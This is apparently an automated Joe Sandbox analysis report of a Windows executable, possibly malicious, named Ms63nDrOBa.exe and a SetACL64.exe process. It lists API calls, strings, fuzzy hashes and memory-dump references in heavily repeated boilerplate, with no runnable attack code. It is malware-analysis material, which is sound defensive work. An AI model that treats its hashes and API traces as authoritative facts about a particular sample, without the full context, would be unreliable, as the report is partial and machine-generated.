Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction ID: 5c8f3b82e3fec6324f9bbbe2439b20c808b00c1b0a410ced479a2b1fdaf2ea9b
Opcode Fuzzy Hash: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction Fuzzy Hash: 58015E7290021DBADB00DB94DD85FFEBBBCAF95711F10412BBA51B61D0D7B49A018BA4

Function 00402F98 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB6
MulDiv.KERNEL32(000DC6D3,00000064,000DC6D7), ref: 00402FE1
wsprintfW.USER32 ref: 00402FF1
SetWindowTextW.USER32(?,?), ref: 00403001
SetDlgItemTextW.USER32(?,00000406,?), ref: 00403013

Strings

verifying installer: %d%%, xrefs: 00402FEB

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: c24f39b73ea1f3b51e5f33cc7d94247a9242632f843dd5f1d8eee7270cd10b93
Instruction ID: ee21eaa8db301b2ce928a6645e07ba1980cadc5c51e80129ae912554bbca5152
Opcode Fuzzy Hash: c24f39b73ea1f3b51e5f33cc7d94247a9242632f843dd5f1d8eee7270cd10b93
Instruction Fuzzy Hash: 70014F7064020DBBEF209F60DE4AFAE3B79AB04344F108039FA12A51D0DBB99A559B58

Function 00402955 Relevance: 9.1, APIs: 6, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B6
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029D2
GlobalFree.KERNEL32(?), ref: 00402A0B
GlobalFree.KERNEL32(00000000), ref: 00402A1E
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A3A
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A4D

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: c58995e68432e7249e988c80aa0e1a33c88a6fdfba4ce0329c84874909ba7ef0
Instruction ID: c874634495a4b446fb751942016c9e5cc597fe9d4aaee657827b690e02a6ad76
Opcode Fuzzy Hash: c58995e68432e7249e988c80aa0e1a33c88a6fdfba4ce0329c84874909ba7ef0
Instruction Fuzzy Hash: 0231AF71D00128ABCF21AFA5CE49D9E7EB9AF45324F10423AF551762E1CB794C419FA8

Function 00402EAE Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402F02
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F4E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F57
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F6E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F79

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction ID: f4e9f9df98694428ddab884ff763f6d95bd8863eb2dee119fedf423c13c251a9
Opcode Fuzzy Hash: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction Fuzzy Hash: F4216B7150010ABFDF119F90CE89EEF7B7DEB54388F100076B949B11E0D7B49E54AA68

Function 00401D86 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D9F
GetClientRect.USER32(?,?), ref: 00401DEA
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E1A
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E2E
DeleteObject.GDI32(00000000), ref: 00401E3E

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: de7853213b54b41e4d82286969a45229422243a67b8734ea48bfba129f49795d
Instruction ID: 81d9f022906ee6244d37cab0c0f29790f3f95abc113fce67048acd2dff417476
Opcode Fuzzy Hash: de7853213b54b41e4d82286969a45229422243a67b8734ea48bfba129f49795d
Instruction Fuzzy Hash: 8B212672904119AFCB05DF98DE45AEEBBB5EB08300F14003AF945F62A0CB789D81DB98

Function 00401E53 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E56
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E70
MulDiv.KERNEL32(00000000,00000000), ref: 00401E78
ReleaseDC.USER32(?,00000000), ref: 00401E89
CreateFontIndirectW.GDI32(0040CDC8), ref: 00401ED8

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 12fc5c0feb0b51e7a773ba9164babbc76b3b82788c0ea370a0f868ab0e4caa48
Instruction ID: ae55cc3b281789b51300203e9483e2b03caeed801d822a8147b49045e961ec64
Opcode Fuzzy Hash: 12fc5c0feb0b51e7a773ba9164babbc76b3b82788c0ea370a0f868ab0e4caa48
Instruction Fuzzy Hash: F4017571954240EFEB015BB4AE99ADD3FB4AF15301F10497AF141B61E2CAB904449B2C

Function 00401C48 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB8
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CD0

Strings

!, xrefs: 00401C84

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: c2490f809f288260d3854a97f2c9280dc6f84d52f63112501a652163611abe32
Instruction ID: 5d336d63bea0f4dd646979e45c63d0f3d2888182fff20de36e63ae33d1796f08
Opcode Fuzzy Hash: c2490f809f288260d3854a97f2c9280dc6f84d52f63112501a652163611abe32
Instruction Fuzzy Hash: 2A21AD71D1421AAFEB05AFA4D94AAFE7BB0EF84304F10453EF601B61D0D7B84941CB98

Function 00404D60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(007A1748,007A1748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E01
wsprintfW.USER32 ref: 00404E0A
SetDlgItemTextW.USER32(?,007A1748), ref: 00404E1D

Strings

%u.%u%s%s, xrefs: 00404DEB

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 21d04326a64a20976fb5de8d07180004ad871368d5848da8d0db5094891019e4
Instruction ID: a0af56433f9d431f5046a9fb23145e7ed032e621b14740f85a591f17ba678af7
Opcode Fuzzy Hash: 21d04326a64a20976fb5de8d07180004ad871368d5848da8d0db5094891019e4
Instruction Fuzzy Hash: 6211E773A041283BDB1055ADEC45EAE369CDF86334F254237FA25F21D1EA78CC2182E8

Function 00405E03 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004034FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037F9,?,00000008,0000000A,0000000C), ref: 00405E09
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004034FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037F9,?,00000008,0000000A,0000000C), ref: 00405E13
lstrcatW.KERNEL32(?,0040A014), ref: 00405E25

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405E03

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3936084776
Opcode ID: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction ID: 4e7d22dde89eb6c6e58e9bdf2ba0d87ed645a023497c505cae90b6f2f3d33009
Opcode Fuzzy Hash: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction Fuzzy Hash: E4D05E31101534AAC211AB48AC04CDB62ACAF46308342403AF541B60A9D7785A5186ED

Function 0040301E Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,004031FC,00000001), ref: 00403031
GetTickCount.KERNEL32 ref: 0040304F
CreateDialogParamW.USER32(0000006F,00000000,00402F98,00000000), ref: 0040306C
ShowWindow.USER32(00000000,00000005), ref: 0040307A

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: ca2d4b092798976e8b8a2b9fdb12b7f7a1786ddd6dd9d0f4e36fae50c1a32754
Instruction ID: b3f6d95266cfacf47387896993e225006fc9e276d4c6cccc21fcd3db6f14a0d4
Opcode Fuzzy Hash: ca2d4b092798976e8b8a2b9fdb12b7f7a1786ddd6dd9d0f4e36fae50c1a32754
Instruction Fuzzy Hash: A0F05E70406621AFC6606F90BE08A9B7A68FB45B62B45843BF145F11E8CB3C48818B9D

Function 0040552D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040555C
CallWindowProcW.USER32(?,?,?,?), ref: 004055AD

Part of subcall function 004044FF: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404511

Strings

, xrefs: 0040553D

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 1c6db2fb8bf2a941a381235c92e780c462a7a47fd759007b21bb5a8fe18e5fa5
Instruction ID: 2594d1478f304c6df33f9b27245b4e56ea2549959463d6621d9ed09538c1d2b9
Opcode Fuzzy Hash: 1c6db2fb8bf2a941a381235c92e780c462a7a47fd759007b21bb5a8fe18e5fa5
Instruction Fuzzy Hash: 6C017C71100608BBEF219F15DD80A9B3B27EB88750F104037FA05B61D5C73E9D919E6D

Function 00403B71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,76233420,00000000,C:\Users\user\AppData\Local\Temp\,00403B49,00403A5F,?,?,00000008,0000000A,0000000C), ref: 00403B8B
GlobalFree.KERNEL32(00000000), ref: 00403B92

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403B71

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3936084776
Opcode ID: 00efa9c9f1272b7cc7d931f24958e2d47b6ee42ce3838b547fcba19599468942
Instruction ID: 86827d460d6d0210cfbc43ab248bfd1705f6cbab4bd02b4ce4b4e0dc829d3a13
Opcode Fuzzy Hash: 00efa9c9f1272b7cc7d931f24958e2d47b6ee42ce3838b547fcba19599468942
Instruction Fuzzy Hash: 2EE012334012305BC6215F56ED04B5AB778AF55B26F09813FE940BB26287786C438FD8

Function 00405E4F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,004030EE,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Ms63nDrOBa.exe,C:\Users\user\Desktop\Ms63nDrOBa.exe,80000000,00000003), ref: 00405E55
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,004030EE,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Ms63nDrOBa.exe,C:\Users\user\Desktop\Ms63nDrOBa.exe,80000000,00000003), ref: 00405E65

Strings

C:\Users\user\Desktop, xrefs: 00405E4F

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3125694417
Opcode ID: 4d9a109f9f2e29ac56c0736ccbd4fa6bf3a04a93e1f4050107f2eb61dc35f761
Instruction ID: 4264e746bbe9179bf63afe9cfc5b53a917ba9e4059aba7f94742f87ad442e0a4
Opcode Fuzzy Hash: 4d9a109f9f2e29ac56c0736ccbd4fa6bf3a04a93e1f4050107f2eb61dc35f761
Instruction Fuzzy Hash: 73D0A7B3400930DAC312A704ED00D9F73ECEF5234474A4466E881A7169D7785E8186EC

Function 00405F89 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040626E,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405F99
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405FB1
CharNextA.USER32(00000000,?,00000000,0040626E,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FC2
lstrlenA.KERNEL32(00000000,?,00000000,0040626E,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FCB

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction ID: 8db07108f343804323cb09528c583574f267d9896fc780fa7d439bc94861dd43
Opcode Fuzzy Hash: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction Fuzzy Hash: 1EF09631104519FFCB029FA5DE00D9EBBA8EF45350B2540B9F840F7250D678EE019BA9

Analysis Process: SetACL64.exePID: 4364, Parent PID: 6184COMMON

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	36%
Total number of Nodes:	1763
Total number of Limit Nodes:	58

Executed Functions

Function 00007FF7C172BC40 Relevance: 151.2, APIs: 76, Strings: 9, Instructions: 2433COMMON

Download Yara Rule

APIs

GetAclInformation.ADVAPI32 ref: 00007FF7C172CF81
GetLastError.KERNEL32 ref: 00007FF7C172CF8B
GetAce.ADVAPI32 ref: 00007FF7C172CFCA
DeleteAce.ADVAPI32 ref: 00007FF7C172CFE4
GetAclInformation.ADVAPI32 ref: 00007FF7C172D03D
GetLastError.KERNEL32 ref: 00007FF7C172D047
GetLastError.KERNEL32 ref: 00007FF7C172D05B
